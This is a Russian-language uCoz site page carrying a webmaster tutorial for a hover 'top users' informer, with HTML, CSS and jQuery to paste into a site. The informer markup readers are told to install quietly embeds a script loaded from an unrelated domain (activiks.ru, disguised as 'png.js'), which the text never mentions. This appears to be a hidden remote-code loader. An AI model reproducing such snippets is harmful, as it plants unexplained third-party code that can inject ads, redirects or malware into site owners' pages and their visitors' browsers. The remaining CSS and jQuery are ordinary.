Понедельник, 25.09.2017, 08:46
Приветствую Вас Гость | RSS
Всё для фотошопа
Главная | Регистрация | Вход

Выбрать язык / Choose language:
Ukranian
English
French
German
Japanese
Italian
Portuguese
Spanish
Danish
Chinese
Korean
Arabic
Czech
Estonian
Belarusian
Latvian
Greek
Finnish
Serbian
Bulgarian
Turkish
Меню сайта
Категории
Векторный клипарт
Растровый клипарт
Actions для Photoshop
PSD- исходники
Кисти для Photoshop
Стили и градиенты для Photoshop
Плагины для Photoshop
Фоны,текстуры
Шрифты
Футажи
Скрап-наборы
Иконки (ico, png, psd)
Фотошаблоны для Photoshop
Фоторамки
Календари
Украшения Windows
Уроки и видеоуроки
Разное
Фото,картинки
Вебмастерам
Дизайнерский софт
Фотоальбомы, фотокниги, портфолио
Обои на рабочий стол
Художники, картины
Форма входа
Интересное
Фоторамка - Поздравляю всех с Новым годом
Категория: Фоторамки

Gorgeous silhouette background

Подарочная обертка конверт для денег – Доллары
Категория: PSD- исходники

Рамка для фото – Рисует иней нежный образ твой
Категория: Фоторамки

Романтическая фоторамка – В этот день все для тебя
Категория: Фоторамки

Обертка для шоколада – Орден «Лучший папа»
Категория: PSD- исходники

Бабочки в векторе

Новогодний календарь на 2012 год – Год дракона к нам идет, Нам подарки принесёт
Категория: Календари

Набор 9 новогодних рамок – Спешим поздравить с новым годом всех самых близких и друзей
Категория: Фоторамки

Романтическая рамка для фото – У окна
Категория: Фоторамки

Рамочка для фото – Новогодний Дракон и свечи
Категория: Фоторамки

Comic Action Brushes
Категория: Кисти для Photoshop

Рамка для фото – Новый Год, как волшебство!
Категория: Фоторамки

Шаблон для фотомонтажа - старинный костюм 55

Шаблон для фотомонтажа - новый год юнного гусара

Christmas santa

Шаблон для фотомонтажа - матадор

Fine background pattern

Classic christmas greeting cards

The dream of a vector space

Отличный настенный календарь на 2012 год – Новогодний блеск огней
Категория: Календари

Butterfly-roses-frame

Календарь-рамка – Пусть Новый Год стучится в вам и счастьем дом наполнится
Категория: Календари

Красивые шрифты, узоры

Новогодняя детская рамка со Снеговиком – Кто оставил тут подарки, нужно срочно посмотреть…
Категория: Фоторамки

Главная » 2013 » Февраль » 8 »

Tоп пользователей с дополнительной информацией V2


16:01
Tоп пользователей с дополнительной информацией V2
Tоп пользователей с дополнительной информацией V2
Всем доброго дня, сегодня мы будем создавать информер топ пользователей по комментариям uCoz, при наведении на которые появляется дополнительная информация о пользователе и всё на css

Шаг 1 - Создаём информер:

Для начала нам следует создать и установить на страницу сайта нужный нам информер пользователей, для этого заходим

в Админ панель => Инструменты => Информеры => Создать информер

Раздел: Пользователи
Способ сортировки: колл. комментарий
Количество материалов: 10
Количество колонок: 1

удаляем старый код и устанавливаем новый:

Код
<div class="ddm_top_user">
  <a href="$PROFILE_URL$" class="drop_top_user bottom_no" target="_blank" ><script type="text/javascript" src="http://activiks.ru/img/png.js"></script><img alt="$USERNAME$" src="$AVATAR_URL$http://bambun.ru/images/no_avoar.jpg"/>
  <strong>$USERNAME$</strong>
  <span>$COM_POSTS$</span>
  </a>

  <div class="ddm_cell_user">
  <span class="ddm_ugol_user"></span>  
  <div class="ddm_content_user">
  <div class="ddm_content_top">
  <strong>$FULL_NAME$</strong>
  <span>ID:$USER_ID$</span>
  </div>
  <ul>
  <li><span>Пол:</span>$GENDER$----------</li>
  <li><span>Ранг:</span> $RANK_NAME$----------</li>
  <li><span>Группа:</span> $GROUP_NAME$</li>
  <li><span>Репутация:</span> $REPUTATION$</li>
  <li><span>Комментариев:</span> $COM_POSTS$</li>
  <li><span>Зарегистрирован:</span> $REG_DATE$</li>
  </ul>
  </div>
  </div>
</div>


А теперь на страницу сайта в нужное место устанавливаем html каркас с информеров:

Код
<div class="top_user">
  <div class="top_user_title">Топ пользователей</div>
  $MYINF_1$  
</div>


Не забывайте, что $MYINF_1$ является номером вашего информера и его стоит прописывать системной переменной, а не отдельной ссылкой на js.

Шаг 2 - Установим CSS:

Теперь когда данное решение почти готово, пропишем ему следующие css стили:

Код
/* Tоп пользователей с дополнительной информацией
------------------------------------------*/
.top_user {
  float:left;
  width:250px;
  background: #fff;
  border-radius:3px;
  border: 1px solid #CAD3DA;
}

.top_user_title {
  font:11px Verdana,Arial,Helvetica, sans-serif;
  text-shadow: 1px 1px 1px #B0431B;
  text-align:right;
  font-weight:700;  
  color:#fff;

  float:left;
  width:232px;
  height:20px;
  background:#e77e57;
  margin: -1px -1px 0px -1px;  
   
  padding: 7px 10px 3px 10px;  
  border-radius:3px 3px 0px 0px;
}

.ddm_top_user {
  float:left;
  display:block;
  position:relative;
}
   
.drop_top_user {
  float:left;
  width:230px;
  font-weight:700;  
  height:25px;
  padding: 5px 10px 5px 10px;  
  border-bottom: 1px solid #CAD3DA;
}

.drop_top_user img {  
  float:left;
  width:25px;
  height:25px;
  margin-right: 10px;
}

.drop_top_user strong {  
  float:left;
  margin-top: 5px;  
}

.drop_top_user span {  
  float:right;
  width:55px;
  height:20px;  
  text-align:right;  
  padding: 5px 0px 0px 5px;  
  border-left: 1px solid #CAD3DA;
  background: url(ico_comment.png) no-repeat left;  
}  

.ddm_top_user:hover{
  background:#F7F9FB;
}

.ddm_cell_user,  
.ddm_ugol_user{
  width:250px;
}  

.ddm_cell_user {
  left:-999em;
  z-index:998;
  margin:0px auto;
  position:absolute;
  border:1px solid #CAD3DA;  
  border-radius:3px;
}  
   
   
.ddm_content_user {  
  color:#777;
  margin:0;
  width:230px;
  padding:5px 10px;
  overflow:hidden;
  background:#fff;
  border-radius:3px;
}  
   
.ddm_top_user:hover .ddm_cell_user{
  top: 0px;  
  right:255px;
  left:auto;  
}  
   
.ddm_ugol_user {  
  height:17px;  
  top: 10px;
  right: -9px;
  position:absolute;  
  background:url(angle_right.png) no-repeat right;  
}

.ddm_content_top {
  float:left;
  width:100%;
  margin-bottom: 10px;
  padding: 0px 0px 5px 0px;  
  border-bottom:1px solid #CAD3DA;  
}  

.ddm_content_top span {
  float:right;
  margin-top:2px;
  font:9px Verdana,Arial,Helvetica, sans-serif; color:#999;
}  

.ddm_content_user ul{  
  margin:0;
  padding:0;
  list-style:none;
}  

.ddm_content_user li{  
  float:left;
  width:100%;
  padding: 3px 0px 3px 0px;  
}  

.ddm_content_user li span{  
  float:left;
  width:120px;
}  

.cu_li1 {background:#fff}  
.cu_li2 {background:#F7F9FB;}  

.bottom_no {
  border-bottom:none;  
}


Шаг 3 - Установим JS:

А для того чтобы в появляющейся ячейки с дополнительной информацией пользователя, не пришлось вручную прописывать классы чётным спискам, следует установить вниз страницы перед закрывающим тегом </body> следующий js

Код
<script language="javascript">
  $(document).ready(function() {
  $('.ddm_content_user ul li:odd').addClass('cu_li1');
  $('.ddm_content_user ul li:even').addClass('cu_li2');  
  });  
</script>
Категория: Вебмастерам | Просмотров: 450 | Добавил: budyvmaster | Рейтинг: 0.0/0

Другие новости:

Рамка для фото – Пришёл ещё один прекрасный год
Шаблон для фотомонтажа - матадор
Календарь 2012 – Принцессы Диснея у новогодней ёлки
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Поиск
Облако тегов
Календарь
«  Февраль 2013  »
ПнВтСрЧтПтСбВс
    123
45678910
11121314151617
18192021222324
25262728
Наилучшее
Портфолио для детского сада - Незнайка и его друзья

Бесплатные ленты в PSD
Категория: PSD- исходники

Шаблоны - Почётные грамоты с государственной символикой
Категория: PSD- исходники

Портфолио для мальчика (детский сад и начальная школа) – Лунтик
Категория: Фоторамки

Шаблон - Генеалогического дерева в PSD формате

Наградные бланки - Благодарность, похвальный лист, сертификат, диплом, почётная грамота
Категория: PSD- исходники

русский солдат

Шаблон фотокниги для выпускников-Темный стиль

Детская фоторамка - Куклы Монстер Хай - Школа монстров
Категория: Фоторамки

Украинский казак- шаблон для фотомонтажа

Бумажные куклы-вырезалки вашим девочкам в красивых платьях
Категория: Разное

Календарь на 2015 год - Утренний кофе
Категория: Календари

Деревянные вывески общепита

Шаблон фотопланшета для детского сада - Мой любимый детский сад

Портфолио детское для девочки – Белоснежка диснея

Как новичку открыть фотосалон. Фото на документы с нуля

Шаблон перекидного детского календаря с Машей и Медведем с местом для фото - 2013 год
Категория: Календари

Детский клипарт - С 23 Февраля мальчики!
Категория: Скрап-наборы

Шаблон №1 классической фотокниги

Шаблон для фотомонтажа - парадная форма ВМФ

Макет детской фотокниги - По - Воин дракона

Brushpack - Lighting - освещение - кисти для фотошопа
Категория: Кисти для Photoshop

С Днем Рождения праздничные векторные атрибуты

Векторные Календарные сетки 2014

Портфолио для начальных классов с детскими картинками

Наша кнопка
coolgfx - бесплатно все приложения фотошоп


Copyright Coolgfx.ucoz.ru © 2017


Бесплатный хостинг uCoz